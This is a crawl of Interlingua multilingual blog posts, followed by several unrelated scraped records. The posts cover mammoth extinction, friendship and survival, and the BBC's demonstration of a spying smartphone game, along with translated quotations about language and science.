ago--saw a decline in the prairies used by these animals to feed themselves.\nAbout 14,000 years ago, Mammuthus primigenius, or woolly mammoths, which once were part of the European landscape, migrated to the north of Siberia, where they eventually died 4,000 years ago.\nThe reasons for the extinction are uncertain and have become targets of intense debate among scientists.\nWhile some argue that the process is linked to global warming, others say that the pressures that eventually were the decisive causes of their extinction were the result of an expanding human population. A third theory attributes the end of the mammoths to a meteor collision into the Earth.\n\"What our results suggest is that climate change--through the effect it had on vegetation--was the key factor that caused the reduction of the population and the extinction of mammoths and other large herbivores,\" said Professor Brian Huntley, who led the study.\nThe study recreated--through computer models that simulate changes of vegetation in Europe, Asia and North America over the past 42,000 years--the environmental conditions that the mammoths had to confront in the last years of their existence.\nThe scientists used these computer models to study climate changes during this period and their effects on the growth of vegetation in the areas where the mammoths lived.\nThe low temperatures and especially dry conditions of the Ice Age, combined with low emissions of carbon dioxide during this period, did not favor the growth of trees, they concluded.\nThis meant that, instead of forests, the landscape of that era was marked by vast areas of grassland, ideal for large herbivores such as mammoths.\nOver the years the climate became warmer and wetter. At the end of the ice age, the concentration of carbon dioxide was higher. As a result, trees became dominant in areas that once were prairies.\n\"At the height of the Ice Age, mammoths and other herbivores had more food,\" said a researcher who participated in the study. \"But as we move towards a post-glacial stage, trees gradually became dominant in the herbaceous ecosystems and that greatly reduced the grazing area of these animals.\"\nPosted by hkyson at 9:54 PM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nOmne nos debe pensar como homines sage, ma nos debe communicar in le linguage del populo.\nTodos debemos pensar como hombres sabios, pero hay que comunicarse en la lengua del pueblo.\nTots hem de pensar com a homes savis, però cal comunicar-se en la llengua del poble.\nTodos nós debemos pensar como homes sabios, pero debemos comunicar na lingua do pobo.\nTodos nós devemos pensar como homens sábios, mas devemos comunicar na língua do povo.\nChacun de nous doit penser comme des hommes sages, mais nous devons communiquer dans la langue du peuple.\nOgnuno di noi dovrebbe pensare come gli uomini saggi, ma dovremmo comunicare nella lingua del popolo.\nAll of us should think like wise men, but we should communicate in the language of the people.\nPosted by hkyson at 11:22 AM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nNostre linguas es como un secunde pelle que coperi nostre corpores, e nostre relationes es tan intime con nostre linguas native que nos nos confunde in nostre vetulessa durante que illos evolve in directiones differente in le buccas de nostre juvenes.\nNuestras lenguas son como una segunda piel que cubre nuestros cuerpos, y nuestras relaciones son tan íntimas con nuestras lenguas nativas que nos confundimos en nuestra vejez a medida que evolucionan en direcciones diferentes en las bocas de nuestros jóvenes.\nLes nostres llengües són com una segona pell que cobreix els nostres cossos, i les nostres relacions són tan íntimes amb les nostres llengües natives que ens confonem a la nostra vellesa a mesura que evolucionen en direccions diferents en les boques dels nostres joves.\nAs nosas linguas son coma unha segunda pel que cobre os nosos corpos, e as nosas relacións son tan íntimas cos nosos idiomas nativos que nos confundimos na nosa vellez, mentres que evolucionan en sentidos diferentes nas bocas dos nosos mozos.\nNossas línguas são como uma segunda pele que cobre os nossos corpos, e nossos relacionamentos são tão íntimos com nossas línguas nativas para nos confundir em nossa velhice, quando elas evoluem em sentidos diferentes na boca dos nossos jovens.\nNos langues sont comme une seconde peau qui couvre nos corps, et nos relations sont si intimes avec nos langues maternelles que nous devenons confus dans nos vieux jours lors qu'ils évoluent dans des directions différentes dans la bouche de nos jeunes gens.\nLe nostre lingue sono come una seconda pelle che ricopre i nostri corpi e le nostre relazioni sono così intimo con le nostre lingue madre, e siamo diventati tutti confusi nella vecchiaia quando si evolvono in direzioni diverse in bocca dei nostri giovani\nOur languages are like a second skin that covers our bodies, and our relations are so intimate with our native languages that we become confused in our old age as they evolve in different directions in the mouths of our young people.\nPosted by hkyson at 11:01 AM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nSi le romanos debeva apprender le latino in lor scholas, illes nunquam haberea trovate le tempore necesse pro conquirer le mundo.\nSi los romanos tenían que aprender latín en la escuela, nunca habrían encontrado el tiempo necesario para conquistar el mundo.\nSi els romans havien d'aprendre llatí a l'escola, mai haurien trobat el temps necessari per conquerir el món.\nSe os romanos tiñan de aprender latín na escola, nunca terían atopado o tempo para conquistar o mundo.\nSe os romanos tinham de aprender latim na escola, nunca teriam encontrado o tempo para conquistar o mundo.\nSi les Romains ont été obligés d'apprendre le latin dans leurs écoles, ils n'auraient jamais trouvé le temps dont ils avaient besoin pour conquérir le monde.\nSe i romani hanno dovuto imparare il latino nelle loro scuole, non avrebbero mai trovato il tempo di cui avevano bisogno per conquistare il mondo.\nIf the Romans had to learn Latin in their schools, they never would have found the time they needed to conquer the world.\nPosted by hkyson at 10:24 AM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nNostre linguas es citates, e cata esser human qui vive in iste citates ha contribuite al minus un petra al construction de lor edificios.\nNuestras lenguas son ciudades, y todo ser humano que vive en estas ciudades ha contribuido al menos una piedra a la construcción de sus edificios.\nLes nostres llengües són ciutats, i tot ésser humà que viu en aquestes ciutats ha contribuït a mínim una pedra a la construcció dels seus edificis.\nAs nosas linguas son cidades, e cada ser humano que vive nesas cidades contribuíu polo menos unha pedra para a construción dos seus edificios.\nNossas línguas são cidades, e cada ser humano que mora nessas cidades contribuiu pelo menos uma pedra para a construção de seus edifícios.\nNos langues sont des villes, et tout être humain qui vit dans ces villes a contribué au moins une pierre à la construction de leurs bâtiments.\nLe nostre lingue sono delle città, e ogni essere umano che vive in queste città ha contribuito, almeno una pietra nella costruzione dei loro edifici.\nOur languages are cities, and every human being who lives in these cities contributed at least one stone to the construction of their buildings.\nPosted by hkyson at 10:03 AM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nLe difficultates mechanic con le linguage es le resultato del difficultates interne con le pensamento.\nLas dificultades mecánicas con el lenguaje son el resultado de las dificultades internas con el pensamiento.\nLes dificultats mecàniques amb el llenguatge són el resultat de les dificultats internes amb el pensament.\nOs problemas mecánicos coa linguaxe son o resultado de dificultades internas co pensamento.\nOs problemas mecânicos com a linguagem são o resultado de dificuldades internas com o pensamento.\nLes difficultés mécaniques avec le langage sont le résultat de difficultés internes avec la pensée.\nLe difficoltà meccaniche con la lingua sono il risultato delle difficoltà interne con il pensiero.\nMechanical difficulties with language are the result of internal difficulties with thought.\nPosted by hkyson at 9:39 AM\nHaber un bon rete de amicos pote augmentar le probabilitates de superviventia human per 50%, secundo un studio.\n(Languages of this post: Interlingua, Portuguese, English)\nUn studio del Universitate de Brigham Young, in le Statos Unite, suggere que haber un bon rete de amicos e vicinos pote augmentar le probabilitates de superviventia de un persona per 50%.\nLe studio, publicate in le magazin \"PLoS Medicine\", arrivava a iste conclusion al analysar datos de circa 150 studios que studiava le possibilitates de superviventia in relation a retes social.\nPro le recercatores american, haber pauc amicos pote esser tan prejudicial al superviventia de un persona como fumar 15 cigarettas per die o esser alcoholico.\nLe scientistas crede que cuidar de altere personas nos duce a cuidar melio de nos mesmes.\nPro Julianne Holt-Lunstad, qui dirigeva le studio, il ha multe formas per le quales amicos, collegas, e familia pote augmentar le sanitate e ben esser de un persona.\n\"Quando alicuno es connectite a un gruppo e se senti responsabile pro altere personas\", dice illa, \"ille senso de proposito e significato ha altere effectos. Personas qui custodia altere personas generalmente custudodia melio se mesmes e assume un quantitate reducite de riscos\".\nPro le recercatores, perder le appoio social pote diminuir etiam plus le possibilitates de superviventia que le obesitate o le sedentarismo.\nLe scientistas analysava 300 mille personas in quatro continentes in un periodo de septe annos. Secundo iste analyse, illes con retes social plus forte monstrava melior resultatos in relation a sanitate e expectation de vita.\nLe probabilitate de iste personas de esser vivente a ulle etate esseva quasi duo vices major que illes considerate solitari.\nLe effecto non es isolate in adultos plus vetule. Relationamentos provide un nivello de protection a omne le etates\", affirmava Timothy Smith, un altere recercator qui participava in le studio.\nSmith tamen alerta que le apparatos moderne e le technologia pote ducer alicun personas a concluder que retes social facie a facie non es plus necesse.\n\"Como humanos, nos prende relationamentos como alique garantite; nos es como pisces que non nota le aqua\", addeva ille. \"Le interaction constante es non solmente un beneficio psychologic, ma illo influentia directemente nostre sanitate physic.\"\n---\nTer uma boa rede de amigos pode aumentar as probabilidades de sobrevivência humana em 50%, segundo um estudo.\nUma pesquisa da Universidade Brigham Young, nos Estados Unidos, sugere que ter uma boa rede de amigos e vizinhos pode aumentar as probabilidades de sobrevivência de uma pessoa em 50%.\nA pesquisa, publicada na revista \"PLoS Medicine\", chegou a esta conclusão ao analisar dados de cerca de 150 estudos que calculavam as chances de sobrevivência em relação a redes sociais.\nPara os pesquisadores americanos, ter poucos amigos pode ser tão prejudicial à sobrevivência de uma pessoa como fumar 15 cigarros por dia ou ser alcoólatra.\nOs cientistas acreditam que tomar conta de outras pessoas nos leva a cuidar melhor de nós mesmos.\nPara Julianne Holt-Lunstad, que liderou o estudo, há muitas formas pelas quais amigos, colegas e família podem aumentar a saúde e bem-estar de uma pessoa.\n\"Quando alguém está ligado a um grupo e se sente responsável por outras pessoas\", disse ela, \"esse senso de propósito e significado tem outros efeitos. Pessoas que cuidam de outras pessoas em geral cuidam melhor de si mesmos e assumem menos riscos\".\nPara os pesquisadores, perder o apoio social pode diminuir ainda mais as chances de sobrevivência do que a obesidade ou o sedentarismo.\nOs cientistas analisaram 300 mil pessoas em quatro continentes em um período de sete anos. Segundo esta análise, aqueles com redes sociais mais fortes se saíram melhor em resultados de saúde e expectativa de vida.\nA probabilidade de estas pessoas estarem vivas em qualquer idade era quase duas vezes maior do que daqueles considerados solitários.\n\"O efeito não é isolado em adultos mais velhos. Relacionamentos fornecem um nível de proteção a todas as idades\", afirmou Timothy Smith, outro pesquisador que participou do estudo.\nSmith, no entanto, alerta que os aparatos modernos e a tecnologia podem levar algumas pessoas a pensar que redes sociais face a face não são mais necessárias.\n\"Como humanos, nós encaramos relacionamentos como algo garantido; somos como peixes que não notam a água\", acrescentou. \"A interação constante não é apenas um benefício psicológico, mas influencia diretamente nossa saúde física.\"\n---\nHaving a good network of friends can increase the probabilities of human survival by 50%, according to a study.\nA study at Brigham Young University in the United States suggests that having a good network of friends and neighbors can increase survival chances by 50%.\nThe research, published in the journal \"PLoS Medicine,\" reached that conclusion by analyzing data from 150 studies that probed survival chances as related to social networks.\nFor the U.S. researchers, having few friends can be as detrimental to the survival of a person as smoking fifteen cigarettes per day or being an alcoholic.\nScientists believe that caring for others leads us to take better care of ourselves.\nTo Julianne Holt-Lunstad, who led the study, there are many ways in which friends, colleagues and family can increase a person's health and wellbeing.\n\"When someone is connected to a group and feels responsible for other people,\" she said, \"that sense of purpose and meaning has other effects. People who take care of others generally take better care of themselves and assume fewer risks.\"\nFor researchers, losing social support may diminish the chances of survival more than obesity or a sedentary lifestyle.\nThe scientists analyzed 300,000 people on four continents over a period of seven years. According to this analysis, those with stronger social networks fared better in health outcomes and life expectancy.\nThe likelihood of these people being alive at any age was almost twice as high as those considered loners.\n\"The effect is not restricted to older adults. Relationships provide a level of protection to all ages,\" said Timothy Smith, another researcher working on the study.\nSmith, however, warns that modern gadgets and technology can lead some to think that face-to-face social networks are no longer needed.\n\"As humans, we take relationships for granted; we are like fish that do not notice the water,\" he added. \"The constant interaction is not just a psychological benefit, but directly affects our physical health.\"\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nLe probas del scientia se basa in le probabilitate in local del certitude. Le religion solmente ha le certitude dogmatic sin ulle tipo de fundamento empiric o altere tipo de proba.\nLas pruebas de la ciencia se basan en la probabilidad en lugar de la certeza. La religión sólo tiene certeza dogmática sin ningún tipo de fundamento empírico u otro tipo de prueba.\nLes proves de la ciència es basen en la probabilitat en lloc de la certesa. La religió només té certesa dogmàtica sense cap tipus de fonament empíric o un altre tipus de prova.\nAs probas da ciencia están baseada en probabilidades en vez de certezas. A relixión só ten seguro dogmático, sen ningún tipo de base empírica ou outro tipo de proba.\nAs provas da ciência são baseadas em probabilidades, em vez de certezas. A religião só tem a certeza dogmática, sem nenhum tipo de base empírica ou outro tipo de prova.\nLes preuves de la science sont fondées sur des probabilités au lieu de la certitude. La religion a seulement la certitude dogmatique sans aucune base empirique ou tout autre type de preuve.\nLe prove della scienza si basano sulla probabilità e non la certezza. La religione ha solo la certezza dogmatica, senza alcun tipo di fondamento empirico o altro tipo di prova.\nThe proofs of science are based on probability instead of certainty. Religion only has dogmatic certainty without any kind of empirical basis or other kind of proof.\nPosted by hkyson at 6:09 AM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nLe philosophia comencia con le fin del religion; le chemia comencia con le fin del alchemia; e le astronomia comencia con le fin del astrologia.\nLa filosofía comienza con el fin de la religión; la química comienza con el fin de la alquimia; y la astronomía comienza con el fin de la astrología.\nLa filosofia comença amb el final de la religió; la química comença amb el final de l'alquímia; i l'astronomia comença amb el final de l'astrologia.\nA filosofía comeza co fin da relixión; a química comeza co fin da alquimia; e a astronomía e comeza co fin da astroloxía.\nA filosofia começa com o fim da religião; a química começa com o fim da alquimia; e a astronomia começa com o fim da astrologia.\nLa philosophie commence avec la fin de la religion; la chimie commence à la fin de l'alchimie; et l'astronomie et commence avec la fin de l'astrologie.\nLa filosofia comincia con la fine della religione, la chimica comincia con la fine di alchimia, astronomia e, a partire con la fine dell'astrologia.\nPhilosophy begins with the end of religion; chemistry begins with the end of alchemy; and astronomy begins with the end of astrology.\nPosted by hkyson at 5:03 AM\nThursday, August 26, 2010\nIl es multo facile disveloppar applicationes maliciose pro le nove telephonos portabile \"intelligente\".\n(Languages of this post: Interlingua, Spanish, English)\nDisveloppar un application maliciose pro un telephono intelligente es multo simple. Le BBC monstrava como isto pote facer se.\nIn unes septimanas, le BBC creava un joco pro un telephono intelligente que simultaneemente spiava sur le proprietario del dispositivo. Iste application maliciose se creava usante le utensilios normalmente usate per le disveloppatores.\nIn pauc septimanas, le joco disveloppate per le BBC reuniva in un sol gruppo omne le contactos del telephono, copiava le messages de texto e inviava omne iste information a un adresse de posta electronic create specialmente pro immagazinar lo.\nIste application usava circa 250 lineas del 1.500 usate pro componer le programma. Le codice esseva discargate in un sol telephono e non appareva in un magazin de applicationes commercial.\nOmne le elementos pro robar information de iste programma esseva functiones legitime utilisate pro fines maliciose. Isto, dice le expertos, significa que le applicationes maliciose es difficile de detectar proque le programmas \"utile\" utilisa le mesme functiones.\nDurante que le majoritate del programmas maliciose es designate pro attacar computatores que usa Windows, isto es evidentia de que le hackers sta a comenciar a diriger lor attention al computatores sophisticate miniaturisate usate pro controlar telephonos intelligente.\nTal applicationes periculose pro smart phones se trova in Internet, e in le ultime septimanas Apple e Google eliminava de lor magazines alicun applicationes a causa de timor que illos esseva maliciose.\nChris Wysopal, co–fundator e chef de technologia del compania de securitate Veracide (qui adjutava le BBC con su projecto) diceva que le telephonos intelligente nunc se trova in le mesme puncto de disveloppamento que esseva commun in le computatores personal in 1999.\nIn ille epocha, tal applicationes esseva simplemente un problema. Un decada postea illos ha devenite un grande activitate commercial, con bandas criminal producente viruses que essaya a robar information vendibile.\nTelelphonos mobile, diceva ille, es un objectivo potentialmente plus attractive pro le delinquentes.\nSimeon Coney, un protavoce del compania de securitate pro telephonos mobile AdaptiveMobile, diceva que le delinquentes se ha concentrate in le telephonos pro un ration simple: le moneta.\n\"In un computator personal, le sol forma que un criminal normalmente pote robar moneta es facer que le usuario clicca sur un vinculo de Internet, vade a un altere sito, e compra un producto o scribe datos de su cartas de credito\", diceva Cone. \"In le rete mobile, le dispositivo ha un ligamine directe al planos de pagamento del usuarios.\nUsque recentemente, le delinquentes se habeva servite del avantage de ille function facente que le proprietarios del telephonos entrava in contacto con altere numeros pro facer pagamentos additional. Ma nunc illes pote robar lor moneta de un maniera multo plus simple e plus facile.\nLe grande magazines de applicationes sta a comenciar a contraattaccar. Apple veta omne su applicationes e rejecta illos que non passa su probas commercial e de codification. Google assecura que le applicationes pro Android debe declarar omne le information que illos colligera quando illos sta a esser discargate. RIM (productor de BlackBerry) e Google ha disveloppate un systema que les permitte dishabilitar le applicationes que se revela como maliciose.\nLe usuarios pote sequer alicun passos simple pro mantener se in un stato de securitate.\n\"Demanda que le disveloppator del application revela le nomine del application e le adresse del compania que lo ha disveloppate de maniera que vos pote determinar si vos ha confidentia in le organisation que lo produceva\", diceva Laurs.\nLe proprietarios de telephonos anque deberea facer un copia de securitate del datos in lor telephonos a un computator personal o in un servicio basate in Internet pro proteger se.\nNigel Stanley, un analysta de securitate, dice que il ha signales evidente de abuso criminal.\nUn signo multo evidente es que subitemente le bateria del telepono se deteriora\", assecurava ille. \"Si tu de evelia un matino e tu bateria es completemente discargate, isto pote indicar que alicun datos esseva robate de tu telephono durante le nocte\".\nLe proprietarios de telephonos intelligente anque debe examinar attentemente lor facturas. \"Examina le information imprimite in vostre conto cata mense\", diceva Stanley. \"E si il ha numeros stranie que appare in vostre factura, isto poterea indicar que il ha alicun programma que utilisa iste numeros pro comprar alicun servicio extra que non esseva autorisate.\"\n---\nEs muy fácil desarrollar aplicaciones maliciosas para los nuevos teléfonos portátiles \"inteligentes\".\nDesarrollar una aplicación maliciosa para un teléfono inteligente es muy sencillo. La BBC mostró cómo esto se puede hacer.\nEn unas semanas, la BBC creó un juego para un teléfono inteligente que a la vez espió al propietario del dispositivo. Esta aplicación maliciosa se creó usando los herramientas que normalmente utilizan los desarrolladores.\nEn pocas semanas, el juego desarrollado por la BBC reunió en un solo grupo todos los contactos del teléfono, copió los mensajes de texto y envió toda esta información a una dirección de correo electrónico creado especialmente para almenazarla.\nEsta aplicación tomó alrededor de 250 líneas de las 1.500 que componían el programa. El código fue descargado en un sólo teléfono y no se puso en una tienda de aplicaciones comercial.\nTodos los elementos para robar información de este programa eran funciones legítimas utilizadas para fines nefastos. Esto, dicen los expertos, hace que las aplicaciones maliciosas sean difíciles de detectar ya que los programas \"útiles\" utilizan las mismas funciones.\nSi bien la gran mayoría de los programas maliciosos están diseñados para atacar ordenadores que utilizan Windows, esto es evidencia de que los hackers están empezando a dirigir su atención a los ordenadores sofisticados miniaturizados usados para controlar los teléfonos inteligentes.\nTales aplicaciones peligrosas para smart phones se encuentran en Internet, y en las últimas semanas Apple y Google retiraron algunas aplicaciones de sus tiendas en línea por temor a que fueran maliciosas.\nChris Wysopal, co-fundador y jefe de tecnología de la firma de seguridad Veracode (quien ayudó a la BBC con su proyecto) dijo que los teléfonos inteligentes ahora se encuentran en el mismo punto de desarrollo que era común en los ordenadores personales en 1999.\nEn esa época, tales aplicaciones eran simplemente un problema. Una década después se han convertido en un gran negocio, con bandas criminales produciendo virus que intentan robar información vendible.\nTeléfonos móviles, dijo, son un objetivo potencialmente más tentador para los delincuentes.\nSimeón Coney, un portavoz de la firma de seguridad para móviles AdaptiveMobile, dijo que los delincuentes se han concentrado en los teléfonos por una sencilla razón: el dinero.\n\"En una PC la única forma que un criminal puede normalmente sacar dinero es hacer que el usuario haga un clic en un vínculo de Internet, vaya a otro sitio y compre un producto o escriba los datos de sus tarjetas de crédito\", dijo Coney. \"En la red móvil, el dispositivo está directamente vinculado a los planes de pagos de los usuarios.\"\nHasta hace poco, los delincuentes habían aprovechado esa función haciendo que los propietarios de los teléfonos entraran en contacto con otros números para hacer pagos adicionales. Pero ahora pueden robar su dinero de una manera mucho más sencilla y directa.\nLas grandes tiendas de aplicaciones están comenzando a contraatacar. Apple veta todas sus aplicaciones y rechaza aquellas que no pasan sus pruebas comerciales y de codificación. Google asegura que las aplicaciones para Android deben declarar toda la información que reunirán cuando están siendo descargadas. RIM (productor de BlackBerry) y Google han desarrollado un sistema que les permite deshabilitar las aplicaciones que resultan ser maliciosas.\nLos usuarios pueden seguir algunos pasos simples para mantenerse a salvo.\n\"Exija que el desarrollador de la aplicación revele el nombre de la aplicación y la direccion de la empresa que la ha desarrollado para que pueda determiner si tiene confianza en la organización que la produjo\", dijo Laurs.\nLos propietarios de teléfonos también deberían hacer una copia de seguridad de los datos en sus teléfonos a una PC o en un servicio basado en internet para protegerse.\nNigel Stanley, analista de seguridad, dice que hay señales evidentes de abuso criminal.\n\"Un signo muy evidente es que de improviso la batería del teléfono se deteriora\", aseguró. \"Si despiertas una mañana y tu bateria está vacía completamente, esto puede indicar que algunos datos fueron robados de tu teléfono durante la noche\".\nLos porpietarios de teléfonos inteligentes también deben examinar cuidadosamente sus facturas. \"Examine cuidadosamente la información impresa en sus cuentas cada mes\", dijo Stanley. \"Y si hay números extraños que aparecen en su factura, esto podría indicar que hay algún programa que utiliza estos números para comprar algún servicio extra que no estaba autorizado.\"\n---\nIt is very easy to develop malicious applications for the new \"intelligent\" portable telephones.\nDeveloping a malicious application for a smart phone is easy. The BBC showed how this could be done.\nWithin weeks, the BBC created a game for a smartphone that simultaneously spied on the owner of the device. This malicious application was created using the tools typically used by developers.\nWithin weeks, the game developed by the BBC gathered into a single group all of the phone's contacts, copied text messages, recorded the phone's location, and sent all this information to an e-mail address created especially to store it.\nThis application used about 250 lines of the 1,500 lines of code that made up the program. The code was downloaded to a single phone and was not placed in a commercial app store.\nAll the elements for stealing information in this program were legitimate functions used for nefarious purposes. This, experts say, means that malicious applications are difficult to detect because \"useful\" programs employ the same functions.\nWhile the vast majority of malicious programs are designed to attack PCs using Windows, this is evidence that hackers are starting to turn their attention to the sophisticated miniaturized computers used to control smart phones.\nSuch dangerous applications for smart phones are located on the Internet, and in recent weeks Apple and Google removed some applications from their online stores for fear that they were malicious.\nChris Wysopal, co-founder and chief technology officer of the security firm Veracide (who helped the BBC with its project) said that smart phones are now at the same point of development that was common on PCs in 1999.\nAt that time, such applications were simply a problem. A decade later, they have become big business, with criminal gangs producing viruses that attempt to steal salable information.\nMobile phones, he said, are potentially a more tempting target for criminals.\nSimeon Coney, a spokesman for the mobile-phone security firm AdaptiveMobile, said that criminals have focused on the phones for one simple reason: money.\n\"In a PC the only way a criminal can usually make money is by having the user click on an Internet link, go to another site, and purchase a product or provide information about your credit cards,\" said Coney. \"In the mobile network, the device is directly linked to the users' payment plans.\"\nUntil recently, the criminals had taken advantage of this function by having the owners of the phone come into contact with other numbers to make additional payments. But now they can steal their money much more directly and simply.\nLarge applications stores are starting to fight back. Apple vets all its applications and rejects the ones that do not pass their commercial and coding tests. Google says Android applications must declare all the information that they will gather when they are being downloaded. RIM (BlackBerry producer) and Google have developed a system that allows them to disable systems that turn out to be malicious.\nUsers can follow some simple steps to stay safe.\n\"Ask the application developer to reveal the name of the application and the address of the company that developed it so that you can determine if you have confidence in the organization that produced it,\" said Laurs.\nPhone owners should also make a backup of data on their phones to a PC or on an Internet-based service to protect themselves.\nNigel Stanley, a security analyst, says there are obvious signs of criminal abuse.\n\"A very obvious sign is that the phone's battery suddenly deteriorates,\" he said. \"If you wake up one morning and your battery is completely empty this could indicate that some information was ripped off from your phone the previous evening.\"\nThe owners of intelligent phones must also carefully examine their bills. \"Look at your information every month,\" said Stanley. \"And if there are strange numbers appearing on your bill, this could indicate that there is some program that is using these numbers to pay for some extra service that was not authorized.\"\nPosted by hkyson at 1:09 AM","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/interlinguamultilingue.blogspot.com\/2010\/08\/","date":"2017-06-23T07:02:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320023.23\/warc\/CC-MAIN-20170623063716-20170623083716-00065.warc.gz","language":"ina","language_score":0.4287260175,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"ina_Latn_score\": 0.4287260174751282, \"por_Latn_score\": 0.09807948023080826, \"spa_Latn_score\": 0.07041516900062561, \"eng_Latn_score\": 0.050610218197107315, \"cbk_Latn_score\": 0.03466164320707321, \"glg_Latn_score\": 0.030791476368904114, \"srd_Latn_score\": 0.020886871963739395, \"ita_Latn_score\": 0.017527731135487556, \"kea_Latn_score\": 0.01252864208072424, \"lat_Latn_score\": 0.011884617619216442, \"ile_Latn_score\": 0.011293966323137283, \"eus_Latn_score\": 0.010130370035767555}","num_words":23029,"character_repetition_ratio":0.049,"word_repetition_ratio":0.027,"special_characters_ratio":0.19,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":0.466,"perplexity_score":2851.7,"cluster_detection":-1} +{"text":"via Le MITHE de Marseille http:\/\/ift.tt\/2h4I46U\nvia Le MITHE de Marseille http:\/\/ift.tt\/2zzpEls\nvia Le MITHE de Marseille http:\/\/ift.tt\/2h4Nz5u\nvia Le MITHE de Marseille http:\/\/ift.tt\/2zzDaFv\nvia Le MITHE de Marseille http:\/\/ift.tt\/2h4NmiI\nvia Le MITHE de Marseille http:\/\/ift.tt\/2zAIKHJ\nvia Le MITHE de Marseille http:\/\/ift.tt\/2ySNiNk\nvia Le MITHE de Marseille http:\/\/ift.tt\/2kFL5P7\nvia Le MITHE de Marseille http:\/\/ift.tt\/2xxYpuP\nvia Le MITHE de Marseille http:\/\/ift.tt\/2xxYpuP","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/www.mithedemarseille.com\/tag\/piece-de-theatre\/","date":"2018-07-16T19:47:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589455.35\/warc\/CC-MAIN-20180716193516-20180716213516-00210.warc.gz","language":"ina","language_score":0.3982129395,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.3982129395008087, \"fra_Latn_score\": 0.1993447095155716, \"gle_Latn_score\": 0.12635910511016846, \"nap_Latn_score\": 0.01896592229604721, \"eng_Latn_score\": 0.015825821086764336, \"kiu_Latn_score\": 0.011339521035552025, \"oci_Latn_score\": 0.010214664041996002, \"ltz_Latn_score\": 0.010072872042655945}","num_words":164,"character_repetition_ratio":0.255,"word_repetition_ratio":0.348,"special_characters_ratio":0.265,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":0.391,"perplexity_score":3733.8,"cluster_detection":-1} +{"text":"Troll Face Comic T-Shirts\nLOL - Meme\ntroll face\nTroll Face - K4MIN3YT\nmad hatter troll face\nNew\nfaces man couple couple love in love woman girl se\nTroll Face Problem Meme\nSolider Troll Face\nTroll Face Meme\ncomic face\nComic face\nface comic\nComic - Face\nComic face\ncomic face\nTroll Face short sleeved shirt\nComic - Funny Face\ncomic hamster face\nTrees Comic Face\nBoy Face Comic Relief\nComic Hamster Face\nComic Horse Face\nFemale Face Comic Style\nComic Tsunami Wave Face\nFemale comic green face\nComic - face with glasses\nComic Horse Face\nFace comic red\nComic - Funny Face - V2\nDead Comic Face\nComic Face Monster Funny\nFemale Face Comic Style\nwoman comic face\ncomic egg face\nFunny Eyes, Funny Face, Comic Face\nFunny Eyes, Funny Face, Comic Face, Smiley\nFace Cartoon Comic Fun 54\nFace Cartoon Comic Fun 62\nFace Cartoon Comic Fun 58\nFace Cartoon Comic Fun 44\nFace Cartoon Comic Fun 52\nFace Cartoon Comic Fun 41\nFace Cartoon Comic Fun 27\nFace Cartoon Comic Fun 29\nFace Cartoon Comic Fun 32\nFace Cartoon Comic Fun 32\nFace Cartoon Comic Fun 58\nFace Cartoon Comic Fun 53\nFace Cartoon Comic Fun 11\nFace Cartoon Comic Fun 36\nFace Cartoon Comic Fun 42\nFace Cartoon Comic Fun 42\nFace Cartoon Comic Fun 61\nFace Cartoon Comic Fun 39\nFace Cartoon Comic Fun 40\nFace Cartoon Comic Fun 59\nFace Cartoon Comic Fun 30\nFace Cartoon Comic Fun 24\nFace Cartoon Comic Fun 57\nface manga kids comic smiley\nfunny comic cartoon cat face\nFace Cartoon Comic Fun 55","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.spreadshirt.com\/troll+face+comic+t-shirts","date":"2018-07-20T22:56:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591837.34\/warc\/CC-MAIN-20180720213434-20180720233434-00634.warc.gz","language":"ina","language_score":0.365178436,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3651784360408783, \"ron_Latn_score\": 0.1334582269191742, \"cos_Latn_score\": 0.12355919927358627, \"glg_Latn_score\": 0.05831499397754669, \"eng_Latn_score\": 0.05280819535255432, \"ile_Latn_score\": 0.04162881523370743, \"gul_Latn_score\": 0.03230767324566841, \"oci_Latn_score\": 0.02994953654706478, \"nap_Latn_score\": 0.028355645015835762, \"pcm_Latn_score\": 0.01421610452234745, \"hau_Latn_score\": 0.012918530963361263, \"cbk_Latn_score\": 0.012403457425534725, \"jam_Latn_score\": 0.010382969863712788, \"ita_Latn_score\": 0.010079391300678253}","num_words":369,"character_repetition_ratio":0.303,"word_repetition_ratio":0.372,"special_characters_ratio":0.23,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.659,"perplexity_score":8268.1,"cluster_detection":-1} +{"text":"macbook pro alimentatore alimentatore apple macbook pro alimentatori per\nmacbook pro alimentatore alimentatore 60w dedicato per notebook apple macbook\nmacbook pro alimentatore alimentatore magsafe da 60w macbook e macbook pro 13\nmacbook pro alimentatore apple alimentatore macbook pro retina 15 quot mediaworld it\nmacbook pro alimentatore alimentatore compatibile per apple macbook pro o air la\nmacbook pro alimentatore alimentatore magsafe clasf\nmacbook pro alimentatore alimentatore apple macbook pro retina alimentatori per\nmacbook pro alimentatore alimentatore 60w magsafe macbook macbook pro 13 quot cavi e\nmacbook pro alimentatore alimentatore apple macbook pro alimentatori per\nmacbook pro alimentatore alimentatore per apple macbook pro ma600 ma601 a1150 a1151\nmacbook pro alimentatore convertisseur magsafe vers magsafe 2\nmacbook pro alimentatore alimentatore apple per macbook posot class\nmacbook pro alimentatore alimentatore magsafe per macbook pro 15 e 17 